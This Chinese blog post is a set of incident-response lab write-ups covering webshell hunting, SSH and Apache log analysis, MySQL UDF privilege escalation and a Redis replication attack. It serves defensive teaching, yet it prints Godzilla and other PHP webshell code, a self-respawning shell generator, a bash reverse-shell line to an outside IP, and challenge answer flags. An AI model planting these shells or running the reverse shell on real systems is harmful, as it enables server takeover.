应急响应基础内容:应急响应基础内容 – Zion_Cat’s B1og
第一章 应急响应-webshell查杀
通过题目可以得知要去查找webshell那么我们就要知道什么是webshell?
Webshell 是一种通过网页漏洞或不当配置上传到服务器的恶意脚本。它通常用于攻击者在被侵入的服务器上执行任意命令或操作,通常由黑客利用漏洞上传到服务器,目的是控制或窃取服务器上的数据。
知道了webshell的内容就要知道webshell的工作原理和常见的webshell类型
Webshell 的工作原理:
- 上传: 攻击者通过利用网站漏洞(如文件上传漏洞)将恶意的 webshell 脚本上传到服务器。
- 执行: 上传后的 webshell 脚本被激活,攻击者通过网页接口访问这个脚本。
- 控制: 攻击者通过 webshell 执行任意命令,如查看文件系统、修改文件、执行远程命令等,从而完全控制服务器。
常见的 webshell 类型:
- PHP Webshell: 最常见的一种 webshell,通常以
.php文件形式存在。它允许攻击者执行 PHP 代码来操控服务器。 - ASP Webshell: 类似于 PHP Webshell,但使用 ASP (Active Server Pages) 技术。
- JSP Webshell: 使用 Java Server Pages 技术的 webshell。
既然知道了常见类型就要知道常见特征,一般情况下
php的文件常见特征就是如 system(), exec()或者eval() 以及base64_decode() 等一些恶意代码。
ASP的一些常见恶意代码特征:Execute(),Shell(),CreateObject,FileSystemObject, InStr, Replace等等
最后是JSP的一些常见特征为如 exec(), start(), eval(), socket()等
这时候就可以通过查找相关特征来进行匹配
例如
find ./ type f -name "*jsp" | xargs grep "exec("
find ./ type f -name "*php" | xargs grep "eval("
find ./ type f -name "*asp" | xargs grep "execute("
find ./ type f -name "*aspx" | xargs grep "eval("
对于免杀的webshell,可以查看是否使用了编码
find ./ type f -name "*php" | xargs grep "base64_decode"
我们挑出来一段可以进行分析一下
find:表示查找工具。
./:表示从当前目录开始搜索。
-type f:表示只查找普通文件,排除目录和其他类型的文件。
-name "*jsp":表示只查找文件名以 .jsp 结尾的文件。即查找所有 JSP 文件。
这个部分通过管道符(|)将 find 命令的输出(即所有 .jsp 文件路径)传递给 xargs,然后由 xargs 调用 grep 命令来搜索每个文件中是否包含 exec( 字符串。
xargs:这个命令用于将从find获取的文件路径传递给后续的命令(这里是grep)。grep "exec(":grep是一个搜索工具,用于查找文件中包含特定字符串的行。这里它搜索exec(这个字符串。exec()是 Java 中用于执行系统命令的一个方法,攻击者经常利用它来执行系统命令,因此它在 Web 应用中使用时常常是潜在的安全隐患。
1.1
1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
我们按照流程直接在根目录下通过查询所有的webshell特征类型可以知道在进入根目录下输入这个指令下查到了三个文件
find ./ type f -name "*php" | xargs grep "eval("

我们可以cd移动过去一个一个进行查看可以发现在gz.php的文件里面有//一串字符,他就是flag{027ccd04-5065-48b6-a32d-77c704a5e26d}

顺带分析一下这个代码
1. 初始化设置
@session_start();//启动 PHP 会话功能,允许在不同请求之间存储和获取数据(如通过 $_SESSION)。
@set_time_limit(0);//设置脚本执行的最大时间限制为 0,表示没有时间限制。这通常用于恶意脚本,确保其不会被超时终止。
@error_reporting(0);//禁用错误报告,这意味着任何错误都不会显示出来,从而避免让攻击者的活动暴露。
encode 函数
function encode($D, $K){
for($i=0; $i<strlen($D); $i++) {
$c = $K[$i+1 & 15];
$D[$i] = $D[$i] ^ $c;
}
return $D;
}
作用: 这个函数用来加密或解密数据,采用 XOR 操作。它通过遍历传入的字符串 $D(数据),与 $K(密钥)中的字符进行 XOR 操作。$K[$i+1 & 15] 通过对 16 取模确保密钥长度始终为 16 字符。
恶意用途: 通过这种方式,加密或解密的操作使得数据更加隐蔽。攻击者可以用它来隐藏传递的数据,防止被检测到。
获取和处理输入数据
$payloadName='payload';//用于存储在会话中的恶意载荷的名称。
$key='3c6e0b8a9c15224a';//用作加密/解密的密钥。
$data = file_get_contents("php://input");://读取原始的 POST 请求体数据,通常用于接收恶意的输入(如命令或恶意脚本)。
检查并解密数据
if ($data !== false) {
$data = encode($data, $key);// 对接收到的 POST 数据进行解密(或者加密,如果数据已经加密)。这使得传输的恶意数据变得不可见,防止被简单地检测到。
检查会话中是否有有效的 Payload
if (isset($_SESSION[$payloadName])) {
$payload = encode($_SESSION[$payloadName], $key);
if (strpos($payload, "getBasicsInfo") === false) {
$payload = encode($payload, $key);
}
eval($payload);
echo encode(@run($data), $key);
} else {
if (strpos($data, "getBasicsInfo") !== false) {
$_SESSION[$payloadName] = encode($data, $key);
}
}
if (isset($_SESSION[$payloadName])): 检查是否有一个名为 payload 的会话变量。如果有,说明恶意代码已经在会话中,并且需要执行。
$payload = encode($_SESSION[$payloadName], $key);: 从会话中取出 payload 数据,并解密。
if (strpos($payload, "getBasicsInfo") === false): 如果载荷数据中没有 getBasicsInfo 字符串(通常是一个标识符),就再次加密它。这可能是在避免被检测到时使用的手段。
eval($payload);: 通过 eval() 执行解密后的载荷(恶意代码)。eval() 函数会将字符串当作 PHP 代码执行,这允许攻击者在服务器上执行任意代码。
echo encode(@run($data), $key);: 运行 $data(可能是命令或请求),然后将结果加密后返回。这里使用了 @run() 函数,可能是一个自定义的函数,允许在服务器上执行命令。
如果会话没有有效的 Payload
} else {
if (strpos($data, "getBasicsInfo") !== false) {
$_SESSION[$payloadName] = encode($data, $key);
}
}
if (strpos($data, "getBasicsInfo") !== false):如果输入数据中包含 getBasicsInfo 字符串(可能是攻击者定义的某种触发标识),就将数据加密并存储在会话中,保存为 $payloadName(即 payload)变量。
1.2
黑客使用的什么工具的shell github地址的md5 flag{md5}
通过这串代码的开头我们分析可以知道是哥斯拉木马
隐蔽性: 通过禁用错误报告和无限制的脚本运行时间,这段代码可以保持木马脚本的隐蔽性。错误报告的禁用可以避免管理员发现任何异常,时间限制的取消确保恶意脚本能够持续运行。
持久化: session_start() 的使用可能是为了持久化攻击者控制的信息,攻击者通过会话数据保持对受害系统的控制。
木马特点: 哥斯拉木马通常涉及伪装、隐蔽性、长期运行、持久化控制、反向连接等特征。这个头部的代码提供了这些关键特性,尽管没有直接显示木马的完整行为,但它为后续的恶意操作提供了基础。
我们也可以通过安恒云沙箱上传文件也可以知道是哥斯拉木马

紧接着我们只需要去找到它的github项目地址就行
https://github.com/BeichenDream/Godzilla
flag{39392DE3218C333F794BEFEF07AC9257}
1.3
黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
既然是隐藏shell那就说明直接ls无法查到需要通过
ls -al查找列出目录内容(显示文件和文件夹)。
-a:显示所有文件,包括隐藏文件(以点 . 开头的文件)。
-l:以长格式(详细格式)显示文件的信息,包括文件权限、所有者、大小、修改时间等。
这个隐藏shell实际上早在上面我们就进行过一次分析第一题查找的eval恶意代码就是,通过观察他的文件名发现是以.开头的所以是一个隐藏文件,并且是一个哥斯拉病毒,所以说他是一个隐藏shell,路径的话可以通过find知道后,或者进去该目录下ls -al。
但实际上还是find查找更方便一点
以下是进入目录后ls -al的图

/var/www/html/include/Db/.Mysqli.php
flag{AEBAC0E58CD6C5FAD1695EE4D1AC1919}
1.4
黑客免杀马完整路径 md5 flag{md5}
我们首先需要知道什么是免杀木马?
“免杀马”是指一种通过特定手段使得恶意程序(通常是木马或后门程序)能够逃避杀毒软件或安全防护系统的检测和拦截,从而能够长期在目标系统中潜伏并进行攻击的技术。简单来说,免杀马就是“免杀”防病毒软件的木马程序。木马(Trojan Horse)本身通常会伪装成正常程序,一旦被执行,便能够给攻击者提供远程控制的权限。
免杀马通常具备以下特点:
- 躲避检测:免杀马能够通过修改自身的代码、加密或混淆等技术,避免被杀毒软件或入侵检测系统(IDS)识别和拦截。
- 持续性:一旦成功潜伏在目标系统中,免杀马能够保持在系统中长时间存在,并通过自我修复、隐藏进程、修改系统配置等方式避免被发现和清除。
- 远程控制:免杀马通常会为攻击者提供远程控制的权限,允许黑客在不被察觉的情况下执行各种恶意操作,比如窃取数据、篡改文件、开启摄像头、键盘记录等。
- 自我复制或传播:一些免杀马还具备自我复制或传播的能力,使其能够在网络中扩散,从而感染更多的计算机。
免杀马通过静态检测是检测不到的,因为在免杀的过程中将webshel的特征值以及特征函数都给去掉了,但是肯定会在执行的时候启动webshell那我们就到网站日志里面看看有啥可疑的记录。
这个时候的网站日志就要分为什么网站了,并且知道他们的默认存放位置?
服务器日志默认存放位置
1. Apache Web 服务器
- 访问日志:通常存储在
/var/log/apache2/access.log或/var/log/httpd/access_log路径下。 - 错误日志:通常存储在
/var/log/apache2/error.log或/var/log/httpd/error_log路径下。
在 Apache 配置文件中(通常是 httpd.conf 或 apache2.conf)可以指定日志的存放位置。例如:
CustomLog /var/log/apache2/access.log combined
ErrorLog /var/log/apache2/error.log
2. Nginx Web 服务器
- 访问日志:通常存储在
/var/log/nginx/access.log路径下。 - 错误日志:通常存储在
/var/log/nginx/error.log路径下。
在 Nginx 配置文件中(通常是 nginx.conf)也可以指定日志存放位置:
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;
3. IIS(Internet Information Services)
- 访问日志:通常存储在
C:\inetpub\logs\LogFiles路径下。 - 错误日志:IIS 的错误日志通常会在事件查看器中生成,位置为
Windows Event Logs中的Application和System日志。
在 IIS 管理界面中,你可以指定日志的存放路径。
既然它经过了免杀处理,那么木马的特征值以及特征函数应该都是被去掉了。这时我们再通过静态检测是基本检测不到的我们去日志下看看什么情况

进入阿帕奇服务器的日志以后发现有三个,咱们先从第一个开始看起
发现了三条有嫌疑的(第一条在上面我就没截图直接复制下来凑合看)
192.168.200.2 - - [02/Aug/2023:08:46:22 +0000] "GET /data/tplcache/top.php?1=phpinfo(); HTTP/1.1" 200 205 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0"
第一条顺着目录查看发现是正常文件,接着看剩下俩条发现是恶意文件

因为进去后发现了恶意代码,我们顺便分析一下这串恶意代码

这里定义了一个字符串 $key,其值是 "password"。这个密钥用于后面的 XOR 加解密操作。
$key = "password";
对 func 参数进行 base64 解码,再对解码后的字符串进行 XOR 解密将 func 解码后的每个字符与 $key 中的字符进行 XOR 运算。每次迭代时,$key[$i+1&7] 中的字符与当前字符 $fun[$i] 做 XOR 运算。
//ERsDHgEUC1hI
$fun = base64_decode($_GET['func']);
for($i=0;$i<strlen($fun);$i++){
$fun[$i] = $fun[$i]^$key[$i+1&7];
}
最后是构建字符串
$a = "a";
$s = "s";
$c = $a.$s.$_GET["func2"];
这部分代码没有实际的解密逻辑,而是简单地将字符串 "a" 和 "s" 连接起来,然后再与 $_GET["func2"] 传入的参数拼接,形成字符串 $c。
所以路径/var/www/html/wap/top.php进行MD5加密得出flag{EEFF2EABFD9B7A6D26FC1A53D3F7D1DE}
第一章 应急响应-Linux日志分析
1.1
有多少IP在爆破主机ssh的root帐号,如果有多个使用","分割 小到大排序 例如flag{192.168.200.1,192.168.200.2}
SSH 爆破行为通常会记录在系统日志中,不同 Linux 发行版的日志位置略有差异,常见的有:
/var/log/auth.log(Debian、Ubuntu 系列)/var/log/secure(CentOS、RHEL 系列)
SSH 爆破的日志特征通常是包含 “Failed password for root”(表示对 root 账号的密码爆破失败)。可以用grep命令筛选:
cat auth.log.1 | grep -a "Failed password for root" | awk '{print $11}' | sort | uniq -c | sort -nr | more
grep筛选出所有 “对 root 账号密码爆破失败” 的日志;awk提取日志中的来源 IP;- sort和uniq -c对 IP 去重并统计次数;
我们进入这个log文件为什么要直接锁定第11位就是因为我们通过cat进入这个log文件发现ip地址是在第十一个字段,关于字段我们要如何去看?
提取出来一个作为例子
Aug 1 07:47:26 linux-rz sshd[7525]: Failed password for invalid user from 192.168.200.2 port 37013 ssh2
把一条完整的日志行按照空格作为分隔符,拆分成一个一个的 “字段”。所以数出来ip为第十一个字段

发现有三个ip我们按照从小到大的顺序排列就行可能第一次提交按照图中顺序会发现错误,这个时候我们将上下俩ip颠倒再交就可以交上flag{192.168.200.2,192.168.200.31,192.168.200.32}
1.2
ssh爆破成功登陆的IP是多少,如果有多个使用","分割
这个时候我们只需要修改失败为成功的字母便可以输出结果
cat auth.log.1 | grep -a "Accepted " | awk '{print $11}' | sort | uniq -c | sort -nr | more

可以看到是2次,还只有一个ip直接提交即可flag{192.168.200.2}
1.3
爆破用户名字典是什么?如果有多个使用","分割
用户爆破字典是黑客用于暴力破解账号密码时,存放大量可能的用户名(或账号)的文本文件,核心作用是配合爆破工具批量尝试登录。
通过指令
cat auth.log.1 | grep -a "Failed password" |perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr
cat auth.log.1:
作用:读取日志文件auth.log.1的内容并将其传递到下一步。这个文件通常包含系统的身份验证日志。 grep -a “Failed password”:
作用:在日志文件中查找包含“Failed password”的行。这些行记录了SSH登录失败的事件。 -a选项:通常用于处理二进制文件时将其视为文本文件,这里一般可以忽略,因为auth.log.1应该是纯文本文件。 perl -e ‘while($_=<>){ /for(.*?) from/; print “$1\n”;}’:
作用:使用Perl脚本从每一行提取出失败登录尝试的用户名。 while($_=<>):逐行读取输入。 /for(.*?) from/:使用正则表达式匹配模式“for [username] from”,其中[username]是登录尝试的用户名。 print “$1\n”:将提取的用户名打印出来。 uniq -c:
作用:对提取出的用户名进行去重并计数。每个唯一的用户名会与其出现的次数一起输出。 -c选项:在每个唯一项的前面显示出现次数。 sort -nr:
作用:根据出现次数进行降序排序。这样出现次数最多的用户名会排在最前面。 -n选项:按照数值排序。 -r选项:按照降序排序。

flag{user,hello,root,test3,test2,test1}
1.4
成功登录 root 用户的 ip 一共爆破了多少次
登陆成功的用户,我们在第二题的时候就已经发现了是两次,那么第一题也显示了为4次登录失败
flag{4}
1.5
黑客登陆主机后新建了一个后门用户,用户名是多少
其实这个查找新建用户是可以通过两个指令进行查找
cat /etc/passwd
cat auth.log.1 |grep -a "new user"
为什么用第二个不用第一个的原因是因为
核心区别:前者查看系统所有现存用户的静态配置,后者筛选历史新增用户的日志记录,用途和数据时效性完全不同。
cat /etc/passwd:查看现存用户配置
- 作用:读取系统用户配置文件
/etc/passwd,显示当前系统中所有已存在的用户(包括系统用户、普通用户)。 - 特点:数据是 “静态” 的,只反映当前用户列表,不记录用户创建的时间、操作记录。
- 典型场景:快速确认系统里有哪些用户,排查是否存在陌生现存用户。
cat auth.log.1 | grep -a “new user”:筛选历史新增用户日志
- 作用:读取旧系统认证日志
auth.log.1(.1表示轮转后的旧日志),筛选包含 “new user” 的记录,显示过去新增用户的操作日志。 - 特点:数据是 “动态” 的,只记录历史新增用户的时间、操作来源等,不包含当前所有用户(比如已删除的新增用户也可能被记录)。
- 典型场景:追溯什么时候新增过用户、谁操作的,排查非授权新增用户的痕迹。

发现有两个新建用户,我们要是通过静态查找的话其实也可以知道在默认情况自己建用户,UID≥1000,但是不排除有通过手动指定 UID强制给新建用户分配小于 1000 的 UID(只要该UID没有被占用)。
所以要是在静态里面查找这个UID≥1000只能做一个参考flag{test2}
第一章日志分析-mysql应急响应
1.1
黑客第一次写入的shell flag{关键字符串}
我们想要知道第一次写入的shell里面的信息就需要先去找到shell,具体要如何找到shell
就还是之前的指令,直接全局查询恶意函数
find / -name "*.php" | xargs grep "eval("
通过找寻可以发现以下东西
find: `/proc/390/fdinfo': Permission denied
find: `/proc/391/task/391/fdinfo': Permission denied
find: `/proc/391/fdinfo': Permission denied
/var/www/html/sh.php:1 2 <?php @eval($_POST['a']);?> 4
最下面便是找到了在这个路径下的文件/var/www/html/sh.php通过cd到该目录打开可以知道

flag为flag{ccfda79e-7aa1-4275-bc26-a6189eb9a20b}
1.2
黑客反弹shell的ip flag{ip}
我们直接去查看mysql的错误日志
在 MySQL 应急响应场景中,直接查看错误日志是因为MySQL 错误日志会记录数据库运行过程中的异常行为、可疑操作(如非法注入、恶意脚本执行)等关键信息。黑客进行攻击(如写入 shell、反弹 shell、提权)时,很多操作会触发 MySQL 的日志记录,或者在日志中留下操作痕迹(比如执行了带有恶意逻辑的 SQL 语句、调用了外部脚本等)。
cat /var/log/mysql/erroe.log
可以找到这一串信息,1.sh可能有些可以并且tmp是临时文件夹
/tmp/1.sh: line 9: `2023-08-01 02:16:35 (5.01 MB/s) - '1.sh' saved [43/43]'
我们正常肯定要去进行一次查看,回到根目录去查询就行
cat /tmp/1.sh
bash -i >&/dev/tcp/192.168.100.13/777 0>&1root@xuanji:/#
可以发现有个ip地址,这个就是黑客的IP
flag为flag{192.168.100.13}
1.3
黑客提权文件的完整路径 md5 flag{md5} 注 /xxx/xxx/xxx/xxx/xxx.xx
在刷靶场的时候发现这道题实际上是有两种做法的,去学习记录一下。
方法一
要提权,hacker肯定先知道了账号密码,可以猜想web目录下有页面泄露了,mysql的账号密码。
可以通过指令直接查询
find /var/www/html | xargs grep “root”
可以在最上面发现密码334cc35b3c704593
mysql -uroot -p334cc35b3c704593

我们直接去链接数据库查看,进去后直接通过指令查找全局变量
show global variables like '%secure%';
进去以后可以发现有一个表单,这个东西就是我们查询数据库系统中与 安全(secure)相关的全局配置变量

secure_auth=OFF: 允许低版本客户端用弱加密密码连接,若数据库用户密码简单,易被中间人攻击破解。
secure_file_priv 为空: 是 MySQL 提权的典型高危配置!攻击者可利用 SELECT … INTO OUTFILE 写入恶意文件(如 WebShell),或通过 LOAD_FILE() 读取系统敏感数据。
那么这里就能明确的确定是UDF提权了
可以通过这个指令去查找也可以直接去/usr/lib/mysql/plugin/,因为它具有写入权限肯定会有痕迹,跟着查询的结果去目录下直接找到文件就可以了剩下的和第二种解题思路是一样的。
show variables like '%plugin%';

方法二
分析一下Mysql 的提权方法有四种:
UDF 提权 MOF 提权(Windows 下) 启动项提权(Windows 下) CVE-2016-6663(MariaDB <= 5.5.51 或 10.0.x <= 10.0.27 或 10.1.x <= 10.1.17)
那么查看目前MariaDB的版本
root@xuanji:/# mysql -V
mysql Ver 15.1 Distrib 5.5.64-MariaDB, for debian-linux-gnu (x86_64) using readline 5.2
排除后三个,剩下的就是UDF提权了,我们去查看UDF的动态链接库
UDF 的动态链接库文件放置于/usr/lib/mysql/plugin/ 或 /usr/lib64/mysql/plugin/
cd /usr/lib/mysql/plugin
ls -al

有两个文件是rw-rw-rw这种情况下十分的危险
rw-rw-rw- 是什么 这是 Linux/Unix 系统的文件权限表示法,对应数值权限 666。 三个 rw- 分别对应所有者、所属组、其他所有用户,均拥有 “读(r)” 和 “写(w)” 权限,无执行(x)权限。 简单说:系统里任何用户,哪怕是普通游客账号,都能修改这个文件。
为什么在 UDF 动态链接库中危险 UDF(User-Defined Function)动态链接库是数据库(如 MySQL、Hive)加载的自定义函数模块,核心风险集中在 “权限失控 + 模块信任度高”: 恶意用户可篡改 UDF.dll:因所有用户有写权限,攻击者能替换或修改库文件,植入恶意代码(如窃取数据、执行系统命令)。 数据库进程会信任并执行:UDF 库加载后会以数据库服务账号权限运行(常为高权限,如 root),恶意代码能借助高权限扩散影响。 难以追溯和防护:修改行为可能被伪装,且全读写权限让防护策略(如权限审计、只读保护)失效。
正常 UDF 库的安全权限标准
权限应设为 rwxr-xr-x(数值 755):仅所有者有读写执行权限,其他用户仅能读和执行,无法修改。 所有者需限制为数据库服务账号(如 mysql),禁止普通用户拥有所有者权限。
所以我们去查看这两个文件
发现这个udf.so的文件与步骤一找到的黑客写入的shell文件的内容近乎一样,而且udf.so 本应是 ELF 二进制文件(动态链接库),但实际内容是说明文件被恶意篡改或伪装。
PHP WebShell<?php @eval($_POST['a']);?>

那就可以知道它的完整路径了MD5加密一下就是flag
1.4
黑客获取的权限 flag{whoami后的值}
我们先去通过ps -aux这个去查看进程发现有一个mysql但是不确定

可以知道,既然进行了提权,在库中写入了自定义函数,那就可以进入数据库查找
select * from mysql.func;
select sys_eval(“whoami”);
通过两个指令可以看到下面有一个mysql

便可以确定是mysql如果还不敢确定我们还可以去通过这个指令来查看数据库进程当前所在的系统工作目录。可以发现和查看的进程路径是一样的。flag为flag{mysql}
select sys_eval("pwd");

第一章 应急响应- Linux入侵排查
1.1
web目录存在木马,请找到木马的密码提交
又是查找webshell,直接上前面总结的特征直接查找

可以发现通过php找出来了三段,我们一个一个打开分析可以知道

最终找到了1.php中的连接密码就是[1]说明flag就是为flag{1}
1.2
服务器疑似存在不死马,请找到不死马的密码提交
什么是不死马
自动恢复能力:即使用户删除了木马程序或清除了木马病毒,它会通过某种方式(如利用系统漏洞、配置文件、后门等)自动恢复并重新感染系统。
隐蔽性强:不死木马通常采取多种手段隐藏自己,比如隐藏进程、伪装成系统进程或者常见的程序,避免被安全软件检测到。
后门功能:它通常会创建一个后门,使得攻击者能够远程访问受感染的系统,获取敏感信息,或者进一步控制计算机。
持久性:不死木马能够持续存在并反弹,通常通过修改系统的启动项、注册表、或者利用高级的恶意技术确保自己能够在计算机重启后继续运行。
所以我们可以根据他的特点去查看计划任务里面crontab -l
结果提示我没有no crontab for root那就换另外的方法查询,去看了一下别的师傅说的查询命令有三个
cat /etc/rc.local
通过这个命令,你可以检查是否有任何程序、服务或者恶意的命令被配置为在系统启动时自动运行。这个文件有时会被恶意软件用来添加后门程序。
ls /etc/init.d/
使用此命令,你可以看到系统上所有服务的初始化脚本,尤其是在较旧的 Linux 系统中使用 init 系统的地方。
systemctl list-unit-files --type=service
你可以使用这个命令来查看系统上所有的服务以及它们在启动时是否启用。
总结
cat /etc/rc.local 用于查看旧的启动脚本文件,通常用于自定义启动命令。
ls /etc/init.d/ 用于列出传统的服务初始化脚本。
systemctl list-unit-files --type=service 用于列出当前通过 systemd 管理的所有服务及其启用状态。
发现都不太行这个时候我们可以通过上一题的筛查知道了三个php文件全部打开观察以后确定了第一题的答案,第二题的答案实际上就是index.php这个文件
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
system('touch -m -d "2021-01-01 00:00:01" .shell.php');
usleep(3000);
分析可以得出最后一行3000是延迟执行会让程序暂停 3000 微秒(即 3 毫秒)。这可能是为了让木马操作更隐蔽,避免瞬间执行时引起注意。并且使用一个 POST 参数 pass 来验证密码。密码是 hello
1.3
不死马是通过哪个文件生成的,请提交文件名
这道题我们通过分析完不死马就可以知道是index.php生成的
1.4
黑客留下了木马文件,请找出黑客的服务器ip提交
找ip可以先看日志,但是大概率是看不出来什么的
cat /var/log/auth.log.1
筛选登录成功的发现没有那么失败的可能也没有说明这个思路是错误的不能去静态查找log文件
那就可能是想要运行木马文件然后再去看回连IP,我们的重点实际就可以放到去哪里找到木马文件这一块。
返回到web服务器下面通过ls -a查看所有文件,可疑文件有三
1.php
install.php
'shell(1).elf'
抛开我们刚刚查找的一个1.php,另外两个install.php是用于 Web 应用的安装过程。它可能会在应用第一次部署时运行,执行数据库初始化、配置设置、管理员账户创建等操作。一般情况下在第一次安装完成后就会被删除,或者禁用。打开看一下可以发现没有恶意代码。
这时候再打开’shell(1).elf’会发现有一串乱码

这时候我们提权运行一下看是什么情况,发现提权运行后没有回显。
再开一个新的靶机,因为玄机的linux靶机可以多人链接不会冲突,我们连接好新的靶机后就可以在新的靶机上查看他的动态连接,这个时候就有他的回连IP。
netstat -antlp | more
用于显示网络连接和监听端口的详细信息,并通过分页方式呈现输出内容。
flag{10.11.55.21}

当然我们如果不是在断网情况下的话,还可以将文件下载下来放到云沙箱里面去进行一个分析也可以得到回连ip,我们通过双开主要是如果在打应急响应的比赛,那么线下可能是断网的情况所以通过双开去查找他的回连ip或者通过逆向去分析。

1.5
黑客留下了木马文件,请找出黑客服务器开启的监端口提交
我们已经找到了木马文件也通过去查找他的网络连接和端口信息找到了为3333,通过上微步云沙箱也能看到端口是3333和他的ip所以第五题直接就得出来了flag为flag{3333}
第一章日志分析-apache日志分析
1.1
提交当天访问次数最多的IP,即黑客IP:
一看到ip我们就可以先去查找日志文件,到日志目录下发现有apache说明服务器是apache服务器。
先通过打开access.log文件发现没有东西那就可以去打开log.1这个后缀的文件,介绍一下两个文件有什么不同。
access.log文件是当前正在使用的日志文件,而access.log.1这个文件是上一轮次的旧文件,用大白话讲其实就是日志他自己不可能将从开始以来所有的文件都放在同一个日志文件中,会有自己的一个日志轮换机制,也就是所谓的,当这一段时间后当前日志文件就会保存为log.1然后在开启一个新的日志文件为log。
另外原来的日志文件可能会删除也可能会被压缩存档为access.log.2.gz和更久之前的文件access.log.3.gz
打开日志文件后发现消息过多直接过滤信息来寻找我们所需要的
cut -d- -f 1 access.log.1|uniq -c | sort -rn | head -20
便知道了他访问最多的ip是192.168.200.2
1.2
黑客使用的浏览器指纹是什么,提交指纹的md5:
如果查看过之日文件那就可以知道我们上一题的提取ip是因为ip在第一字段,然后通过筛选出来的ip直接去寻找浏览器的字段。
cat access.log.1 | grep 192.168.200.2 | more
可以发现有两个浏览器指纹
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safar
i/537.36"
日志能看出,同一个 IP(192.168.200.2)先后用过两种 UA:
- 08:24–08:27 的若干请求:
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0"→ 典型 Firefox UA(含 Gecko、Firefox 关键字)。 - 08:46:38 的多条请求(含对随机路径
/lts7Km、/UoQqyZ的探测,返回 404):"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"→ 典型 Chrome UA(含 AppleWebKit、Chrome、Safari 关键字)。
为什么判断“黑客用的是 Chrome 而不是 Firefox”? 因为出现“可疑行为”(同一时刻短时间内多次请求,且访问随机不可用路径 404)对应的那几条日志,其 UA 明确是 Chrome 串,而不是前面那批正常加载页面/静态资源时的 Firefox 串。
flag就是flag{2D6330F380F44AC20F3A02EED0958F66}
1.3
查看包含index.php页面被访问的次数,提交次数:
还是通过筛选得出访问了index.php多少次
cat access.log.1 |grep '/index.php' | wc -l
发现是27次这个时候提交发现不对,我们用指令列出所有访问index.php的指令发现
cat access.log.1 | grep "/index.php"
其余的都是直接GET到了/index.php这个地方,而与两个前面显示访问成功后在通过js跳转到了/index.php这个界面

所以正确答案应该是25个
(最早刷题的时候发现27次不正确将他列出发现有js跳转减去js跳转的次数为25次提交的时候是正确的,但是现在重新打了一次发现直接提交27次就是正确的)
1.4
查看黑客IP访问了多少次,提交次数:
我们需要知道当前ip访问了多少次直接通过指令
grep “192.168.200.2” access.log.1 | cut -d’ ’ -f1 | sort | uniq -c
为6555次
1.5
查看2023年8月03日8时这一个小时内有多少IP访问,提交次数:
通过过滤2023.08.03日期在awk提取主机第一列IP地址,再通过sort排序确保uniq可以正确合并同同类相。指令二选一两个都可以
cat access.log.1 | grep "03/Aug/2023:08:" | awk '{print $1}' |sort -nr | uniq -c | wc -l
grep "03/Aug/2023:08:" access.log.1 | awk '{print $1}' | sort |uniq
区别就是一个有ip显示一个没有ip显示,要注意的就是需要把时间和日期转换一下正常中文语法输入的日期并不能查到。
最后的答案为flag{5}
第二章日志分析-redis应急响应
redis原理
主从复制
主服务器会自动同步到从服务器,当主服务器发生宕机,主从哨兵模式会自动按照预设的优先级选举新的主服务器未设置则按照偏移量选取偏移量大的为主服务器。
Redis的主从复制是用来实现数据冗余和提高可用性的一种机制。
1、从节点发送同步请求:从节点通过发送SYNC或PSYNC命令请求与主节点同步数据。
2、全量同步:如果从节点是首次同步或与主节点的复制偏移量不匹配,主节点会执行BGSAVE命令创建一个RDB文件,并将其发送给从节点。从节点接收RDB文件并加载到内存中。
3、增量同步:在全量同步之后,主节点会将其缓冲区中的写命令持续发送给从节点,以保证数据一致性。
Redis的攻击手法有
- redis未授权访问漏洞
- 利用redis写webshell
- 利用“公私钥” 认证获取root权限
- 利用crontab反弹shell
crontab是用来定时执行任务的工具
1.1
通过本地 PC SSH到服务器并且分析黑客攻击成功的 IP 为多少,将黑客 IP 作为 FLAG 提交;
未指定 logfile 时,日志默认输出到 标准输出(stdout),不会写入文件。
多数系统默认安装后,配置文件可能未修改,若启用文件日志,常见默认路径为 /var/log/redis/redis-server.log(Linux 系统)。
第一步依然是先查看日志文件,直接在/var/log里面找到了一个redis.log
我们要知道redis一般情况下主要是就是一个未授权然后主从复制原则去获取权限
可以先去查询一个redis的版本
redis-cli INFO | grep redis_version
可以查到版本号5.0.1,我们可以知道redis在4.X到5.0.5之间或者以下的版本才会出现未授权访问漏洞,也可以在日志文件里查找到版本号
往下翻找发现这个地方在进行全复制,上面一看,连接的ip是192.168.100.20,所以应该是攻击者的ip

至于为什么是可以通过这串日志文件可以看出一直在尝试连接主节点,但是一直被拒绝,随后接收用户指令,切换主节点为 192.168.31.55:8888,发起连接后未显示后续结果(隐含未成功)。紧接着切换,发现连接成功,并且从节点自动重试连接该主节点,同时加载了名为exp.so的文件。
1.2
通过本地 PC SSH到服务器并且分析黑客第一次上传的恶意文件,将黑客上传的恶意文件里面的 FLAG 提交;
通过前面知道了加载了一个.so文件这个时候我们就可以通过查询这个文件的位置,去打开寻找。
find / -type f -name exp.so

发现全是乱码这个时候可以通过筛选flag字符串查找
root@ip-10-0-10-1:/# strings exp.so | grep "flag"
flag{XJ_78f012d7-42fc-49a8-8a8c-e74c87ea109b}
_flags2
_flags
root@ip-10-0-10-1:/#
分析实际就是根据日志,攻击者在多次执行 SLAVEOF 命令后,通过修改 Redis 的主从复制配置,将受害者的 Redis 实例配置为从属服务器,从而将恶意数据或命令同步到目标服务器。所以知道了他的ip和其加载的恶意文件。
1.3
通过本地 PC SSH到服务器并且分析黑客反弹 shell 的IP 为多少,将反弹 shell 的IP 作为 FLAG 提交;
